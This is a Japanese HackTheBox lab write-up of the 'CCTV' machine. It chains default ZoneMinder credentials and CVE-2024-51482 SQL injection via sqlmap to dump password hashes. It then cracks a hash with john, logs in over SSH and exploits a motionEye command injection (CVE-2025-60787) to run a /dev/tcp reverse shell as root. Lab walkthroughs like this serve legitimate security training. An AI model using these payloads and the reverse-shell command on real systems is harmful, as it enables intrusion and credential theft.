0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:CCTV

0
Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、CCTVです。

CCTVでは、ZoneMinderやmotioneyeの脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-17 22:16 JST
Nmap scan report for cctv.htb (10.129.11.172)
Host is up (0.26s latency).

PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp    open   http    Apache httpd 2.4.58
|_http-title: SecureVision CCTV & Security Solutions
27835/tcp closed unknown
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.26 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、hostsファイルを編集後cctv.htbにHTTPアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2026-03-17 22.25.45.png

SecureVisionは、セキュリティソリューションを提供しているサイトのようです。

ZoneMinder

画面右上の「Staff Login」を押すと、ZoneMinderのログイン画面が表示されます。

ZoneMinderは、クローズドな環境で利用するCCTVカメラなどを登録してモニタリングすることができるオープンソースのソフトウェアです。

スクリーンショット 2026-03-17 22.26.08.png

デフォルトの認証情報(ユーザー名:admin、パスワード:admin)を入力したところ、ログインできました。

スクリーンショット 2026-03-17 22.26.21.png

画面上部の「Options」を選択し、左ペインの「Versions」を参照すると、DYN_CURR_VERSIONより現在1.37.63バージョンを使用していることが確認できます。

スクリーンショット 2026-03-17 23.23.55.png

脆弱性分析

ZoneMinderの1.37.63バージョンの脆弱性を調査したところ、CVE-2024-51482の脆弱性が見つかりました。

アドバイザリの「Boolean-based SQL Injection in ZoneMinder v1.37.* <= 1.37.64」によると、ZoneMinder v1.37.* <= 1.37.64では、web/ajax/event.php関数に関するブール値ベースのSQLインジェクションの脆弱性が存在するとのことです。

CVE-2024-51482の脆弱性を利用するため、sqlmapを実行して、データベースの列挙を行います。

$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=REDACTED" --dbms=mysql --dbs

[21:19:47] [INFO] fetching database names
[21:19:47] [INFO] fetching number of databases
[21:19:47] [INFO] resumed: 3
[21:19:47] [INFO] resumed: information_schema
[21:19:47] [INFO] resumed: performance_schema
[21:19:47] [INFO] resumed: zm
available databases [3]:
[*] information_schema
[*] performance_schema
[*] zm

上記出力より、3個のデータベースが確認できました。引き続き、zmデータベースのテーブルを調査します。

$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=REDACTED" --dbms=mysql -D zm --tables

出力例
[43 tables]
+----------------------+
| Config               |
| ControlPresets       |
| Controls             |
| Devices              |
| Event_Data           |
| Event_Summaries      |
| Events_Archived      |
| Events_Day           |
| Events_Hour          |
| Events_Month         |
| Events_Tags          |
| Events_Week          |
| Filters              |
| Frames               |
| Groups_Monitors      |
| Groups_Permissions   |
| Manufacturers        |
| Maps                 |
| Models               |
| MonitorPresets       |
| Monitor_Status       |
| Monitors             |
| Monitors_Permissions |
| MontageLayouts       |
| Object_Types         |
| Reports              |
| Server_Stats         |
| Servers              |
| Sessions             |
| Snapshots            |
| Snapshots_Events     |
| States               |
| Stats                |
| Tags                 |
| TriggersX10          |
| UonePresets          |
| User_Preferences     |
| Users                |
| Zones                |
| Events               |
| Groups               |
| Logs                 |
| Storage              |
+----------------------+

興味深いUsersテーブルを見つけたので、カラム構造を確認します。

$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=REDACTED" -D zm -T Users --columns

[21:24:36] [INFO] resumed: Username
[21:24:36] [INFO] resumed: varchar(64)
[21:24:36] [INFO] resumed: Password
[21:24:36] [INFO] resumed: varchar(64)

上記結果を踏まえて、Usersテーブルからユーザー名とパスワードが抽出できました。

$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \ --cookie="REDACTED" \ --dbms=mysql \ --batch \ --sql-query="SELECT Username,Password FROM zm.Users WHERE Username='mark'" \ --threads=5

SELECT Username,Password FROM zm.Users [3]:
[*] admin,$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[*] mark,REDACTED.
[*] superadmin,$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

システムハッキング

取得した認証情報を利用して、足場を作ります。

アクセスの獲得

markユーザーのハッシュ値を解析するため、以下のコマンドを実行します。

$ echo 'REDACTED' > hash.txt
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED       (?)     
1g 0:00:00:13 DONE (2026-03-18 23:10) 0.07412g/s 448.3p/s 448.3c/s 448.3C/s cristhian..coolchick
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

クラックしたパスワードを利用して、SSHログインを行います。

$ ssh mark@cctv.htb

ユーザーフラグ

markユーザーのホームディレクトリでは、ユーザーフラグが見つからなかったため、/homeディレクトリを確認したところ、sa_markユーザーの存在が確認できました。

引き続き、sa_markユーザーの認証情報を探索する過程で、ローカルでリッスンしているポートを発見しました。

$ ss -aln -t4

State                 Recv-Q                Send-Q                               Local Address:Port                                Peer Address:Port               Process               
LISTEN                0                     4096                                       0.0.0.0:22                                       0.0.0.0:*                                        
LISTEN                0                     151                                      127.0.0.1:3306                                     0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:1935                                     0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:7999                                     0.0.0.0:*                                        
LISTEN                0                     70                                       127.0.0.1:33060                                    0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:8554                                     0.0.0.0:*                                        
LISTEN                0                     4096                                    127.0.0.54:53                                       0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:9081                                     0.0.0.0:*                                        
LISTEN                0                     4096                                 127.0.0.53%lo:53                                       0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:8888                                     0.0.0.0:*                                        
LISTEN                0                     128                                      127.0.0.1:8765                                     0.0.0.0:*  

8765番ボートに注目し、SSHポートフォワーディング後にアクセスすると、motionEyeの画面が表示されます。

スクリーンショット 2026-03-18 22.22.36.png

motionEyeは、ネットワーク監視カメラ用Webインターフェースです。また、motionEyeのソースを確認すると、0.43.1b4バージョンであることが推測できます。

そして、/etc/motioneye/motion.confファイルより、adminユーザーのパスワードが確認できました。

# @admin_username admin
# @normal_username user
# @admin_password REDACTED
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf

motionEyeの0.43.1b4に関する脆弱性を調査したところ、CVE-2025-60787が見つかりました。

CVE-2025-60787は、OSコマンドインジェクションの脆弱性です。

サニタイズされていないユーザー入力がMotionの設定ファイルに書き込まれることで、攻撃者は不正なコマンドを埋め込むことが可能になります。その結果、管理者権限を持つリモートの認証済み攻撃者は、Motionの再起動時に任意のコードを実行することができます。

MotionEye RCE via Client-Side Validation Bypass」のPoCを参考にしながら、OSコマンドの実行できるか試します。

スクリーンショット 2026-03-19 23.00.55.png

「Still Images」に$(touch /tmp/test).%Y-%m-%d-%H-%M-%Sのコマンドを入力し、クライアント側の検証チェックをバイパス後、/tmp/testファイルが作成できました。

-rw-r--r--  1 root     root        0 Mar 19 14:01 test

リバースシェルを行うため、以下のようなコマンドを入力します。

/bin/sh -i >& /dev/tcp/REDACTED/4444 0>&1

上記設定変更後、リバースシェルが取得できます。

listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.129.13.76] 46498
# id
id
uid=0(root) gid=0(root) groups=0(root)

ユーザーフラグである/home/sa_mark/user.txtを確認します。

ルートフラグ

既にルートユーザなため、ルートフラグも取得できます。

おわりに

CCTVでは、適切に管理されていない認証情報や複数の脆弱性を連鎖的に利用することで、初期アクセスからルート権限の取得に至る攻撃の流れについて学ぶことができました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?